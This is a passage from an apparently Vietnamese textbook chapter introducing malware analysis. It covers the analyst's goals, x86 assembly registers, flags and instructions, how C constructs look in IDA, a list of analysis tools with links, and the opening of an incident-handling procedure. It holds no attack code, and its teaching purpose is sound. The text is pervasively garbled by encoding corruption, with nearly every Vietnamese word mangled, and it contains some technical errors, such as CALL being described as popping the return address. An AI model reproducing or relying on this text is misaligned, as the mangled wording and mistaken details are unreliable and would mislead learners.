th¹ng tin ngҼ֩i d½ng sԐ b֗ gֹi vԚ cho tin tԊc. 

2.5 Câu h֛ i ôn tԀp 
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ChҼҺng 3: 

Cҹ BӵN Vԓ PHĄN TĉCH Më ņC֤ 

Ph©n t²ch m« Ľ֥c hӴi l¨ c¹ng vi֓c nghi°n cֵu ph©n t²ch, t³m hiԜu 

xem x®t c§c h¨nh vi Ӽn trong mӾu m« Ľ֥c. 

C¹ng vi֓c ph©n t²ch m« Ľ֥c  ֫ Vi֓t Nam l¨ c¹ng vi֓c chҼa ph֡ 

biԒn. ThҼ֩ng th³ c¹ng vi֓c n¨y thҼ֩ng gԂn liԚn v֧i c§c chuy°n gia ph©n 

t²ch cֳa c§c c¹ng ty phӺn mԚm Antivirus, v¨ nhֻng ngҼ֩i l¨m an to¨n 

th¹ng tin chuy°n nghi֓p c֥ng t§c v֧i c§c h«ng phӺn mԚm.  ֪ Vi֓t Nam 

thҼ֩ng c· 1 phԀn ĽӶm an to¨n an ninh trong 1 t֡ chֵc, m֥t nh©n vi°n 

ch֗u tr§ch nhi֓m vԚ bӶo mԀt cֳa h֓ th֝ng m§y t²nh hoԊc h֓ th֝ng mӴng. 

NhҼ Ľ« biԒt kh¹ng phӶi l¼c n¨o c§c chҼҺng tr³nh Anti-Virus cȈng c· thԜ 

giӶi quyԒt ĽҼ֯c hԒt m֙i vӸn ĽԚ vԚ m« Ľ֥c hӴi n·i chung v¨ virus nói 

ri°ng cho h֓ th֝ng máy tính. Có thԜ h³nh dung vi֓c khi quӶn tr֗ h¨ng 

trŁm m§y t²nh trong m֥t c¹ng ty, mԊc d½ m֣i m§y ĽԚu c¨i chҼҺng tr³nh 

Anti-Virus, nhҼng r֟i m֥t ng¨y m§y t²nh n¨o Ľ· c· thԜ b֗ nhi֑m Virus 

qua ĽҼ֩ng email m¨ chҼҺng tr³nh Anti-virus kia kh¹ng nhԀn dӴng ĽҼ֯c, 

r֟i l©y ra to¨n mӴng, g©y rֳi ro cao v֧i t²nh sԈn s¨ng, t²nh bӶo mԀt .. cֳa  

h֓ th֝ng Ľ·. L¼c Ľ· ngҼ֩i l¨m an to¨n cӺn phӶi c· nhֻng xֹ lĨ ph©n 

t²ch chֳ Ľ֥ng trong t³nh hu֝ng n¨y ĽԜ giӶm thiԜu rֳi ro ĽԒn mֵc thӸp 

nhӸt cho h֓ th֝ng m§y t²nh hay h֓ th֝ng mӴng cֳa m³nh. 

Nhֻng nhԀn Ľ֗nh, Ľ§nh gi§ ban ĽӺu Ľ¼ng ĽԂn cֳa ngҼ֩i ph©n t²ch 

c· Ĩ nghǫa quyԒt Ľ֗nh t֧i vi֓c giӶm thiԜu rֳi ro v¨ thi֓t hӴi cho to¨n b֥ 

h֓ th֝ng.  

Mֱc Ľ²ch cֳa ph©n t²ch m« Ľ֥c hӴi l¨ ĽԜ trӶ l֩i ba c©u h֛i sau :  

1. Thֵ nhӸt : tӴi sao m§y t²nh lӴi b֗ nhi֑m m« Ľ֥c hӴi n¨y? 

2. Thֵ hai : ch²nh x§c th³ m« Ľ֥c hӴi n¨y l¨m nhֻng g³ tr°n h֓ 

th֝ng? 

3. Thֵ ba : sau khi nԂm ĽҼ֯c h¨nh vi hoӴt Ľ֥ng cֳa c· thԜ x·a n· 

kh¹ng v¨ ph¸ng tr§nh ĽҼ֯c chuy֓n l©y nhi֑m lӺn sau hay 

không?  

C· m֥t s֝ khuyԒn c§o Ľ֝i v֧i nhֻng ngҼ֩i ph©n t²ch t²ch m« Ľ֥c Ľ· l¨:  

- ņַng Ľ¸i h֛i v¨o vi֓c ngҼ֩i ph©n t²ch phӶi ph©n t²ch v¨ hiԜu hԒt 

c§c t²nh nŁng cֳa m« Ľ֥c , b֫i : 
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- HӺu hԒt c§c chҼҺng tr³nh m« Ľ֥c c· lҼ֯ng m« l¨ l֧n v¨ phֵc tӴp  

n°n chֳ yԒu x§c Ľ֗nh c§c t²nh nŁng ch²nh cֳa malware. 

- H«y lu¹n sֹ dֱng ph֝i h֯p nhiԚu c¹ng cֱ v¨ c§c c§ch tiԒp cԀn 

kh§c nhau ĽԜ ph©n t²ch. 

- Lu¹n lu¹n cԀp nhԀt c§c kǫ thuԀt m֧i m¨ nhֻng ngҼ֩i  viԒt 

malware sֹ dֱng cȈng nhҼ c§c kǫ thuԀt m֧i, c§c c¹ng cֱ h֣ tr֯ 

m֧i trong vi֓c ph©n t²ch. 

 

3.1 Các kiԒn th cֵ cҺ bӶn trong phân tích mã Ľ֥c 

     Trong kiԒn tr¼c m§y t²nh hi֓n ĽӴi , m֥t h֓ th֝ng m§y t²nh c· thԜ 

ĽҼ֯c biԜu di֑n nhҼ sau:  

 

 

 

Hình 3-1 KiԒn tr¼c CPU 
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Hình 3-2: M¹ h³nh trַu tҼ֯ng 

 

NgҼ֩i d½ng c· thԜ chӴy h֓ ĽiԚu h¨nh Windows tr°n nhiԚu loӴi  

phӺn cֵng kh§c nhau. Khi ngҼ֩i viԒt chҼҺng tr³nh m« Ľ֥c, h֙ c· thԜ viԒt 

bԄng nhiԚu ng¹n ngֻ kh§c nhau v¨ sֹ dֱng c§c tr³nh bi°n d֗ch vԚ d֗ch 

v¨ chӴy m«. C¸n Ľ֝i v֧i ngҼ֩i ph©n t²ch m« th³ h֙ lӴi phӶi l¨m c¹ng 

vi֓c ngҼ֯c lӴi Ľ· l¨ ĽӶo lӴi m« ngu֟n v¨ l¨m sao c· thԜ ph©n t²ch ĽҼ֯c 

m« ngu֟n Ľ· v¨ hiԜu ĽҼ֯c. 

 

 

 

Hình:   

Hình trên gi¼p sinh vi°n c· hiԜu t֡ng quan vԚ v֗ tr² cֳa ngҼ֩i viԒt m« v¨ 

v֗ tr² cֳa ngҼ֩i ph©n t²ch m« l¨ nhҼ thԒ n¨o. Hi֓n nay c· rӸt cӸp Ľ֥ cֳa 

ng¹n ngֻ lԀp tr³nh, phӺn dҼ֧i Ľ©y sԐ m¹ tӶ 6 mֵc kh§c nhau Ľ·: 

Mֵc Hardware: Ľ©y l¨ mֵc vԀt lĨ, chֵa c§c t²n hi֓u Ľi֓n tֹ thֽc hi֓n 

c§c t֡ h֯p c§c l֓nh logic Ľi֓n tֹ nhҼ XOR, AND, OR, NOT. V³ Ľ©y l¨ 

phӺn cֵng n°n kh¹ng thԜ d֑ d¨ng c· thԜ can thi֓p bԄng phӺn mԚm. 

Mֵc Microcode : mֵc microcode hay c¸n g֙i l¨ firmware.  Microcode 

hoӴt Ľ֥ng tr°n sҺ Ľ֟ d¸ng Ľi֓n. N· chֵa c§c ch֕ dӾn nh֛ ĽҼ֯c chuyԜn 

Ľ֡i tַ ng¹n ngֻ bԀc cao, cung cӸp 1 phҼҺng thֵc ĽԜ giao tiԒp v֧i phӺn 

cֵng. Khi thֽc hi֓n ph©n t²ch m« Ľ֥c, kh¹ng cӺn lo lԂng vԚ c§c 

microcode v³ n· lu¹n ĽҼ֯c ch֕ r» b֫i m§y tính. 

Mֵc Machine code : (m« m§y) Mֵc machine code chҼa c§c Opcodes, 

c§c kĨ tֽ hexadecimal v¨ n·i cho b֥ xֹ lĨ CPU biԒt phӶi l¨m g³. M« 
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m§y th¹ng thҼ֩ng ĽҼ֯c thֽc hi֓n v֧i nhiԚu ch֕ dӾn microcode ĽԜ cho 

phӺn cֵng b°n dҼ֧i c· thԜ thֽc thi ĽҼ֯c. M« m§y ĽҼ֯c tӴo ra khi 

chҼҺng tr³nh m§y t²nh bԀc cao ĽҼ֯c bi°n d֗ch. 

Mֵc Low-level languages: Ng¹n ngֻ bԀc thӸp l¨ ng¹n ngֻ  ngҼ֩i 

phân tích c· thԜ Ľ֙c  ĽҼ֯c. Ng¹n ngֻ bԀc thӸp m¨ ph֡ biԒn nhӸt l¨ ng¹n 

ngֻ Assembly. NgҼ֩i ph©n t²ch m« Ľ֥c l¨m vi֓c ֫ mֵc ng¹n ngֻ n¨y vì 

m« m§y kh· Ľ֙c. NgҼ֩i ph©n t²ch sֹ dֱng c§c c¹ng cֱ d֗ch ngҼ֯c m« 

ngu֟n vԚ dӴng ng¹n ngֻ bԀc thӸp assembly.  

Mֵc high-level languges: Ng¹n ngֻ bԀc cao ĽҼ֯c nhiԚu lԀp tr³nh vi°n 

sֹ dֱng nhҼ C,C++ v¨ m֥t s֝ ng¹n ngֻ kh§c. Ng¹n ngֻ n¨y sau khi 

bi°n d֗ch sԐ chuyԜn sang dӴng m« m§y. 

Mֵc Interpreted languages l¨ ng¹n ngֻ ֫ cӸp cao nhӸt, nhiԚu lԀp 

tr³nh vi°n sֹ dֱng c§c ng¹n ngֻ th¹ng d֗ch nhҼ C#, Perl, .NET v¨ Java. 

C§c m« viԒt kh¹ng bi°n d֗ch th¨nh m« m§y m¨ thay v³ vԀy bi°n d֗ch 

sang bytecode.  

ņ֝i v֧i ngҼ֩i ph©n t²ch m« Ľ֥c, cӺn phӶi hiԜu r» ng¹n ngֻ Assembly 

ĽԜ c· thԜ Ľ֙c ĽҼ֯c m« ngu֟n (֫ dӴng d֗ch ngҼ֯c)ĽԜ ph©n t²ch. PhӺn tiԒp 

theo Ľ©y gi§o tr³nh sԐ m¹ tӶ t֡ng quan ng¹n ngֻ Assembly 32bit tr°n 

kiԒn tr¼c CPU  x86. 

3.1.1 Ngôn ng  ֻAssembly 32bit 

 3.1.1.1 Các thanh ghi 

 - ESP tr֛ ĽԒn ĽӺu stack 

 - EBP thҼ֩ng d½ng ĽԜ chֵa c§c Ľ֗a ch֕ stack 

 - EIP tr֛ ĽԒn l֓nh tiԒp theo 

 - EAX chֵa c§c biԒn s֝ h֙c,logic, thҼ֩ng d½ng trong c§c thao t§c nh©n 

chia 

 - EBX thanh gi Ľ֗a ch֕ 

 - ECX thanh gi ĽԒm hay d½ng trong c§c v¸ng lԊp 

 - EDX các thao tác vào ra, các phép tính 

 - ESI EDI thҼ֩ng d½ng thao t§c v֧i c§c mӶng, chu֣i 

 C§c cγ: 

 - O c֩ tr¨n, = 1 khi tr¨n b֥ nh֧. 

 - P c֩ chԈn lԎ 
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 - Z c֩ zero - kԒt quӶ bԄng kh¹ng z=1 

 - S c֩ dӸu s=1 th³ kԒt quӶ ©m 

 - C c֩ nh֧, khi ph®p t²nh kԒt quӶ c· nh֧ hoԊc mҼ֯n th³ c=1 

 cγ ĽiΖu khiΘn: 

 - T = 1 CPU chԒ Ľ֥ l¨ chӴy tַng l֓nh (c֩ bӾy- trap) 

 - I c֩ ngԂt. 

 - D c֩ hҼ֧ng, D =1 th³ cpu l¨m vi֓c v֧i chu֣i tַ phӶi sang tr§i. 

 Mίt sΧ c©u lΜnh c̭ bͩn: 

 - MOV g§n vԒ phӶi cho vԒ tr§i  

 - MOVSX thֽc hi֓n khi vԒ tr§i c· Ľ֥ d¨i > hҺn phӶi  

 - MOVZX thֽc hi֓n khi vԒ tr§i to¨n 0 

 - LEA thanh gi, ¹ nh֧.  Ghi ¹ nh֧ v¨o thanh gi 

 - XCHG ho§n Ľ֡i dֻ li֓u  

 - INC tŁng 1 ĽҺn v֗ 

 - DEC giӶm 1 ĽҺn v֗ 

 - ADD x1,x2 | x1 = x1 +x2 

 - ADC c֥ng phֱ thu֥c v¨o c֩ 

 - SUB trַ. 

 -SBB trַ, phֱ thu֥c c֩ C,(c=1 trַ kԒt quӶ di 1) 

 - MUL Nh©n s֝ kh¹ng dӸu (mul ecx |edx= eax *ecx)   

 - IMUL nh©n s֝ c· dӸu 

 - XADD thֽc hi֓n lӺn lҼ֯t xchg v¨ add 

 - CMP so s§nh: sau khi thֽc hi֓n t§c Ľ֥ng ĽԒn c§c c֩ C Z S; 

                                    C                  Z                  S  

   Ľ²ch=ngu֟n              0                   1                  0   

    Ľ²ch>Ngu֟n             0                   0                  0     

    Ľ²ch< ngu֟n             1                   0                  1 

 - Test so s§nh (t§c Ľ֥ng S Z P flag) so s§nh bԄng ph®p AND 

- JMP nhӶy kh¹ng ĽiԚu ki֓n 

- JE JZ  nhӶy nԒu c֩ Z = 1 ,JNE JNZ ngҼ֯c lӴi 

- JS nhӶy nԒu c֩ S =1 

- JP/JPE nhӶy nԒu c֩ P=1, JNP JNPE ngҼ֯c lӴi 

- JO nhӶy nԒu c֩ O=1 JNO ngҼ֯c lӴi 
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- JB nԒu c֩ C=1 

- JBE nԒu c֩ C or F=1 

- JL nԒu c ֩S<>O 

- LOOP X, ECX >0 th³ nhӶy l°n Ľ֗a ch֕ X, tӴo v¸ng lԊp 

- MOVS: mov string, sau Ľ· tŁng, giӶm c§c thanh gi t½y thu֥c v¨o c֩ D, 

D =0 tŁng, D=1 giӶm 

- REP X thֽc hi֓n lԊp lӴi X ĽԒn khi ECX =0 

- LODS nӴp v¨o EAX 

- STDOS X nӴp tַ EAX v¨o X, sau Ľo tŁng X 

- CPMS so s§nh 2 chu֣i 

- CALL X , Ľi v¨o thֽc hi֓n ֫ Ľ֗a ch֕ X v¨ pop Ľ֗a ch֕ tr֫ vԚ v¨o stack 

ĽԜ phֱc  

vֱ cho l֓nh ret. 

- RET (retn) di chuyԜn ĽԒn Ľ֗a ch֕ Ľang chֵa trong Ľ֕nh stack, RET X, 

sau khi di chuyԜn sԐ clear X byte trong stack, l½i ESP lӴi tҼҺng ֵng 

 3.1.1.2 ASM trên ph nͭ mΖm IDA pro 

 1. C§c kiԜu: 

Å Byte_xxxxxx - Ľ֗a ch֕ xxxxx chֵa gi§ tr֗ k²ch thҼ֧c 1 byte 

Å Word_xxxxx - Ľ֗a ch֕ xxxxx chֵa gi§ tr֗ k²ch thҼ֧c 2 byte 

Å Dword_xxxxx - Ľ֗a ch֕ xxxxx chֵa gi§ tr֗ k²ch thҼ֧c 4 byte 

Å Qword_xxxxxx- Ľ֗a ch֕ xxxxx chֵa gi§ tr֗ k²ch thҼ֧c 8 byte 

Å Unk_xxxxx- Unknow type 

2. MӶng, truy cԀp c§c phӺn tֹ trong mӶng: 

 V֧i code C: 

 #include "stdafx.h" 

 int i,mang[10]; 

 int _tmain(int argc, _TCHAR* argv[]) 

 {  

 mang[0]=1; 

 mang[1]=2; 

 mang[2]=3; 

 mang[3]=4; 

 return 0; 
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 }  

 ņoӴn code tr°n hiԜn th֗ trong IDA:  

               

Hình 3-3  MӶng hiԜn th֗  trong IDA 

 V֧i dword_403370 l¨ Ľ֗a ch֕ ĽӺu ti°n cֳa mӶng, do mӶng kiԜu int ( 4 

byte / biԒn ) n°n c§c phӺn tֹ tiԒp theo c· Ľ֗a ch֕ ¹ nh֧ tŁng lên 4, 

dword_403374, dword_403378,é 

 TҼҺng ֵng v֧i  

 Mov dword_403370 ,1 

 Mov dword_403370+4,2 

 Mov dword_403370+8,3 

 Mov dword_403370 +12,4 

 V֧i c§c biԒn cֱc b֥ th³ sԐ ĽҼ֯c lҼu Ľ֗a ch֕ trong EBP, l¨ c§c Ľ֗a ch֕ 

thu֥c stack. V֧i tַng v֗ tr² sԐ l¨ ebp +1 +2 +3 +4é 

3. MӶng d½ng cӸp ph§t b֥ nh֧ Ľ֥ng: 

 int _tmain(int argc, _TCHAR* argv[]) 

 {  

 int *heap_array = (int*)malloc(3 * sizeof(int));  

 heap_mang[0] = 10;  

 heap_mang[1] = 20;  

 heap_mang[2] = 30;  

 heap_mang[2] = 40;  

 }  

 Code hiԜn th֗ trong IDA: 
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Hình 3-4:  CӸp ph§t b֥ nh֧ Ľ֥ng 

 push    0Ch   ; Size <- ĽҼa size cӺn cӸp ph§t v¨ g֙i h¨m malloc ĽԜ cӸp 

phát 

 call    ds:malloc 

 V֧i h¨m malloc sau khi g֙i xong trong thanh ghi eax sԐ chֵa Ľ֗a ch֕ 

ĽӺu ti°n cֳa mӶng trong v½ng nh֧ ĽҼ֯c cӸp ph§t Ľ֥ng. 

 MOV các gi§ tr֗ tҼҺng tֽ nhҼ mӶng thҼ֩ng, ADD esp 4 l¨ lùi stack lӴi 

ĽԜ b֛ phӺn tֹ ĽӺu (size) Ľi cân bԄng lӴi stack nhҼ trҼ֧c khi g֙i h¨m. 

 TҼҺng tֽ khi sֹ dֱng c§c biԒn cֱc b֥ sԐ ĽҼ֯c lҼu trong stack, nhҼ tr°n 

thì thay eax thành EBP. 

4.Struct 

 #include <stdio.h>   

 #include "stdafx.h" 

 #include <malloc.h> 

 struct ch_struct 

 {             //kich thuoc 

 long x;    //   4 byte 

 short y;    // 2byte 

 double z;    //8byte 

 char c;       // 1 byte 

 };  

 struct ch_struct teststruct; 

 int _tmain(int argc, _TCHAR* argv[]) 
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 {  

 teststruct.x=10; 

 teststruct.y=20; 

 teststruct.z=30; 

 teststruct.c='a'; 

 }  

 

 

Hình 3-5:  CӸu tr¼c lҼu biԒn to¨n cֱc 

 CӸu tr¼c ĽҼ֯c lҼu stack( biԒn cֱc b֥) tr°n IDA. 
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Hình 3-6: CӸu tr¼c lҼu biԒn cֱc b֥ 

 V֧i EBP lҼu lӴi Ľ֗a ch֕ cֳa ESP (Ľ֕nh stack khi bԂt ĽӺu h¨m). 

5. M֥t s֝ cӸu tr¼c h¨m cҺ bӶn cֳa Assembly 

 - L֓nh IF, CӸu tr¼c rԐ nh§nh 

 Trong ASM c§c l֓nh If thҼ֩ng g֟m m֥t to§n tֹ so s§nh v¨ m֥t l֓nh 

nhӼy tiԒp theo dֽa v¨o c§c c֩ kԒt quӶ cֳa to§n tֹ so s§nh. 

 V² dֱ : 

 .text:00401000 _wmain          proc near 

 .text:00401000       mov     ecx, dword_403374 <- X 

 .text:00401006       mov     eax, dword_403370  <- Y 

 .text:0040100B       cmp     ecx, eax                   <- so sanh X va Y 

 .text:0040100D           jle     short loc_401015           <-  nhӶy nԒu  Z 

Flag =1 hoԊc S flag # O flag ( tҼҺng ֵng v֧i  x=< y) B֛ qua 2 d¸ng tiԒp 

theo nhӶy xu֝ng 401015 thֽc hi֓n. 

 .text:0040100F              mov     dword_403374, eax  <-gán X=Y, v³ nԒu 

X> Y th³ jle sԐ kh¹ng nhӶy c©u l֓nh n¨y ĽҼ֯c thֽc hi֓n. 

 .text:00401014                 retn             <- return Y. Tho§t kh֛i h¨m, 

kh¹ng thֽc hi֓n ĽoӴn tiԒp theo 

 .text:00401015 loc_401015:  

 .text:00401015                 mov     eax, ecx <-   return X  

 .text:00401017                 retn 

 .text:00401017 _wmain          endp 
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 - V¸ng lԊp, cӸu tr¼c lԊp  

 CӸu th¨nh v¸ng lԊp trong ASM thҼ֩ng gm֟ c§c l֓nh jump v¸ng l°n 

c§c l֓nh ph²a tr°n ĽԜ thֽc hi֓n lӴi m֥t c§ch tuӺn tֽ tַ tr°n xu֝ng dҼ֧i, 

và c§c l֓nh kiԜm tra ĽiԚu ki֓n ĽԜ jump ra kh֛i v¸ng. HoԊc c§c l֓nh jump 

vòng lên tr°n v֧i c§c ĽiԚu ki֓n ĽԜ tiԒp tֱc jump v¸ng l°n tr°n, n°u l֓nh 

so s§nh cho ra ĽiԚu ki֓n Ľ« sai / Ľ¼ng th³ sԐ ngַng jump v¸ng l°n tr°n. 

V֧i m֣i tr³nh bi°n d֗ch kh§c nhau sԐ cho ra c§c m« ASM kh§c nhau. 

 Trong h³nh Ӷnh ta c·: 

 JL shorloc_401010 jump ngҼ֯c l°n tr°n ĽԜ thֽc hi֓n lӴi. 

 Mov dword_403370[eax*4],eax gán. 

 Cmp eax,0Ah so s§nh v֧i 10  

 JL jump dֽa tr°n ĽiԚu ki֓n. 

 

Hình 3-6: HiԜn th֗ v¸ng lԊp tr°n IDA 

 V֧i c§c dӴng v¸ng lԊp, ĽiԚu ki֓n kh§c nhau, chҼҺng tr³nh d֗ch kh§c 

nhau c§c m« ASM sԐ kh§c nhau ĽԜ chҼҺng tr³nh chӴy t֝i Ҽu hҺn. V¸ng 

lԊp v¹ hӴn tuӺn ho¨n sԐ kh¹ng c·  c§c ĽoӴn kiԜm tra ĽiԚu ki֓n v¨ jump 

ra ngoài. 

6. CӸu tr¼c cҺ bӶn c§c h¨m thֳ tֱc trong ASM 

 C§c ĽoӴn h¨m thֳ tֱc ASM thҼ֩ng bԂt ĽӺu v֧i ĽoӴn 

 Push EBP 

 Mov ebp,esp 

 ņoӴn n¨y nhԄm mֱc Ľ²ch, lҼu lӴi gi§ tr֗ cֳa EBP v¨o stack, lҼu lӴi v֗ 

tr² hi֓n tӴi cֳa stack v¨o ebp. Do m֣i lӺn push th°m th³ Ľ֗a ch֕ chֵa 
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trong ESP sԐ giӶm Ľi 4 ĽԜ tiԒp tֱc m֫ r֥ng stack. LҼu ESP lӴi tӴi EBP 

ĽԜ nh֧ Ľ֗a ch֕ cֳa stack trҼ֧c khi g֙i h¨m, thuԀn ti֓n cho vi֓c g֙i c§c 

biԒn lҼu trong stack trҼ֧c khi h¨m ĽҼ֯c g֙i. 

 Cu֝i chҼҺng tr³nh thҼ֩ng c· c§c ĽoӴn pop lӴi gi§ tr֗ cֳa EBP, l֓nh 

RET ĽԜ tr֫ vԚ Ľ֗a ch֕ tiԒp theo cֳa l֓nh CALL, l֓nh RET XX v֧i XX l¨ 

s֝ byte Ľ« ĽҼ֯c ĽoӴn h¨m n¨y sֹ dֱng ĽԜ x·a ra kh֛i stack. 

 V² dֱ Ľ֙an h¨m MessageBoxA trong User32: 

 

Hình 3-7: ņoӴn h¨m MessageBoxA trong user32 

 L֩i g֙i h¨m: 

 SԐ push c§c th¹ng s֝ theo thֵ tֽ  

 push    0               ; uType 

 push    offset Caption  ; "thucaiiiiiiiiii" 

 push    offset Text     ; "thu cai nuaaaaa" 

 push    0               ; hWnd 

 call    ds:MessageBoxA 

 B³nh thҼ֩ng l֓nh push cu֝i c½ng sԐ l¨ biԒn ĽӺu ti°n, l֓nh push ĽӺu ti°n 

thֽc hi֓n sԐ l¨ biԒn cu֝i c½ng. 

 C§c offset ĽԒn c§c chu֣i sԐ ĽҼa v¨o stack. 

 Å   [ebp+wLanguageId] ; int 

 Å   [ebp+uType]     ; int 

 Å   [ebp+lpCaption] ; int 
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 Å   [ebp+lpMultiByteStr] ; lpMultiByteStr 

 Å push    [ebp+hWnd]      ; int 

 LҼu c§c biԒn lҼu trong stack trҼ֧c khi h¨m n¨y ĽҼ֯c g֙i.  

 hWnd= dword ptr  8 

 lpMultiByteStr= dword ptr  0Ch 

 lpCaption= dword ptr  10h 

 uType= dword ptr  14h 

 wLanguageId= dword ptr  18h 

 Gi§ tr֗ cֳa c§c tr֗ s֝ n¨y Ľ« ĽҼ֯c IDA thay lӴi ï c§c t°n cho d֑ hiԜu 

 push    [ebp+uType]     <- v֧i push [ebp+14h] 

 Khi g֙i h¨m MessageBoxA: 

 NhҼ trong h³nh tr°n tҼҺng ֵng v֧i vi֓c g֙i h¨m: 

 MessageBoxA(0, "thu cai nuaaaaa", "thucaiiiiiiiiii", 0) 

 

3.1.3 M¹i trҼn֩g và các công cֱ  h  ֣tr  ֯ph©n t²ch m« Ľc֥ 

 Do ĽԊc trҼng cֳa c¹ng vi֓c ph©n t²ch m« Ľ֥c, Ľ· l¨ h֓ th֝ng d½ng ĽԜ 

ph©n t²ch lu¹n ֫ trӴng th§i sӴch, b°n cӴnh Ľ· m¹i trҼ֩ng ph©n t²ch phӶi 

ph½ h֯p v֧i hoӴt Ľ֥ng cֳa m« Ľ֥c. Ch²nh v³ vԀy vi֓c hiԜu c§ch x©y 

dֽng m¹i trҼ֩ng ph©n t²ch v¨ c§c c¹ng cֱ h֣ tr֯ ph©n t²ch m« Ľ֥c l¨ 

ĽiԚu cӺn thiԒt. PhӺn dҼ֧i Ľ©y sԐ gi֧i thi֓u c§c c¹ng cֱ v¨ phӺn mԚm 

gi¼p sinh vi°n c· cҺ s֫, l¨m quen dӺn v֧i c§c phӺn mԚm, c¹ng cֱ ph©n 

t²ch ĽԜ v¨o c§c chҼҺng tiԒp theo c· thԜ thֽc h¨nh v¨ nԂm bԂt ĽҼ֯c c§ch 

thֵc x©y dֽng m¹i trҼ֩ng ph©n t²ch, c§c phҼҺng ph§p ph©n t²ch. 

 ņ֝i v֧i x©y dֽng m¹i trҼ֩ng, ngҼ֩i d½ng c· thԜ d½ng m§y thԀt v¨ m§y 

Ӷo ĽԜ ph©n t²ch. NԒu sֹ dֱng m§y thԀt th³ cӺn sֹ dֱng c§c phӺn mԚm 

nhҼ DeepFreeze ĽԜ Ľ·ng bŁng lӴi ֡ cֵng. M֣i lӺn m§y t²nh kh֫i Ľ֥ng 

lӴi sԐ tr֫ lӴi trӴng th§i nhҼ ban ĽӺu. 

3.1.3.1 Ph nͭ mΖm tͧ o máy ͩ o 

ņ֝i v֧i m¹i trҼ֩ng Ӷo, ngҼ֩i ph©n t²ch c· thԜ sֹ dֱng Vmware, v¨ 

virtualbox ĽԜ x©y dֽng. 
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Vmware: http://www.vmware.com 

 

 

Virtual box:  http://virtualbox.org 

http://www.vmware.com/
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3.1.3.2 Các phͭn mΖm hέ trι phân tích 

a) PhӺn mԚm lԀp tr³nh  

Dev C++ - http://www.bloodshed.net/devcpp.html 

Microsoft Visual C++ -

 http://www.microsoft.com/visualstudio/en-us/products/2010-

editions/visual-cpp-express 

 Assemblers:  

MASM - http://www.masm32.com/ 

NASM - http://www.nasm.us/ 

WinAsm (IDE) - http://www.winasm.net/ 

Langugages: 

Python - http://python.org/ 

b) PhӺn mԚm phân tích 

D֗ch ngҼ֯c m« ngu֟n 

IDA (5.0) - http://www.hex-

rays.com/products/ida/support/download.shtml 

IDAPython - http://code.google.com/p/idapython/ 

PhӺn mԚm d¸ l֣i (Debugger) 

OllyDbg - http://www.ollydbg.de/ 

Immunity Debugger -

 http://immunityinc.com/products-immdbg.shtml 

Windbg - http://msdn.microsoft.com/en-

us/windows/hardware/gg463009 

Pydbg - http://code.google.com/p/paimei/ 

http://www.bloodshed.net/devcpp.html
http://www.microsoft.com/visualstudio/en-us/products/2010-editions/visual-cpp-express
http://www.microsoft.com/visualstudio/en-us/products/2010-editions/visual-cpp-express
http://www.masm32.com/
http://www.masm32.com/
http://www.winasm.net/
http://www.winasm.net/
http://www.hex-rays.com/products/ida/support/download.shtml
http://www.hex-rays.com/products/ida/support/download.shtml
http://code.google.com/p/idapython/
http://www.ollydbg.de/
http://immunityinc.com/products-immdbg.shtml
http://msdn.microsoft.com/en-us/windows/hardware/gg463009
http://msdn.microsoft.com/en-us/windows/hardware/gg463009
http://code.google.com/p/paimei/
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PhӺn mԚm xem Ľ֗nh dӴng PE file  

PEView - http://www.magma.ca/~wjr/ 

PEBrowse -

 http://www.smidgeonsoft.prohosting.com/pebrowse-

pro-file-viewer.html 

LordPE -

 http://www.woodmann.com/collaborative/tools/index.

php/LordPE 

ImpRec -

 http://www.woodmann.com/collaborative/tools/index.

php/ImpREC 

PEid - http://www.peid.info/ vi. ExeScan - 

http://securityxploded.com/exe-scan.php 

PhӺn mԚm kiԜm tra tiԒn tr³nh Process 

ProcMon - http://technet.microsoft.com/en-

us/sysinternals/bb896645 

Process Explorer - http://technet.microsoft.com/en-

us/sysinternals/bb896653 

PhӺn mԚm bԂt g·i tin trong mӴng  

WireShark - http://www.wireshark.org/ 

TcpView - http://technet.microsoft.com/en-

us/sysinternals/bb897437 

PhӺn mԚm theo d»i sֽ thay Ľ֡i cֳa file v¨ registry 

Regshot: http://sourceforge.net/projects/regshot/ 

Capturebat - http://www.honeynet.org/node/315 

InstallWatchPro. -

 http://www.brothersoft.com/downloads/installwatch-

pro-2.5c.html 

http://www.magma.ca/~wjr/
http://www.smidgeonsoft.prohosting.com/pebrowse-pro-file-viewer.html
http://www.smidgeonsoft.prohosting.com/pebrowse-pro-file-viewer.html
http://www.woodmann.com/collaborative/tools/index.php/LordPE
http://www.woodmann.com/collaborative/tools/index.php/LordPE
http://www.woodmann.com/collaborative/tools/index.php/ImpREC
http://www.woodmann.com/collaborative/tools/index.php/ImpREC
http://www.peid.info/%20vi.%20ExeScan%20-%20http:/securityxploded.com/exe-scan.php
http://www.peid.info/%20vi.%20ExeScan%20-%20http:/securityxploded.com/exe-scan.php
http://technet.microsoft.com/en-us/sysinternals/bb896645
http://technet.microsoft.com/en-us/sysinternals/bb896645
http://technet.microsoft.com/en-us/sysinternals/bb896653
http://technet.microsoft.com/en-us/sysinternals/bb896653
http://www.wireshark.org/
http://technet.microsoft.com/en-us/sysinternals/bb897437
http://technet.microsoft.com/en-us/sysinternals/bb897437
http://sourceforge.net/projects/regshot/
http://www.honeynet.org/node/315
http://www.brothersoft.com/downloads/installwatch-pro-2.5c.html
http://www.brothersoft.com/downloads/installwatch-pro-2.5c.html
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FileMon - http://technet.microsoft.com/en-

us/sysinternals/bb896642 

C§c phӺn mԚm kh§c 

CFFexplorer - http://www.ntcore.com/exsuite.php 

Notepad++ - http://notepad-plus-plus.org/ 

Dependency walker -

 http://www.dependencywalker.com/ 

Sysinternal Tools - http://technet.microsoft.com/en-

us/sysinternals/bb842062 

 3.3 Quy trình phân tích và x  ֹlý mӾu m« Ľc֥ hӴi 

C¹ng vi֓c ph©n t²ch m« Ľ֥c cӺn c· quy tr³nh cֱ thԜ v¨ r» r¨ng, ĽiԚu n¨y 

gi¼p giӶm thiԜu hӴn chԒ rֳi ro. 

Trong quy tr³nh xֹ lĨ m« Ľ֥c hӴi bao g֟m rӸt nhiԚu bҼ֧c 

3.3.1 NhԀn di n֓  h  ֓th n֝g b֗  nhi m֑ m« Ľc֥ hӴi và khoanh vùng xֹ  lý 

a. Ph§t hi֓n ra sֽ c֝ h֓ th֝ng b֗ nhi֑m m« Ľ֥c hӴi l¨ bҼ֧c quan tr֙ng 

nhӸt trong quy tr³nh xֹ lĨ. NԒu h֓ th֝ng b֗ nhi֑m m« Ľ֥c hӴi m¨ kh¹ng 

ph§t hi֓n s֧m th³ c· thԜ g©y ra hԀu quӶ kh· lҼ֩ng. 

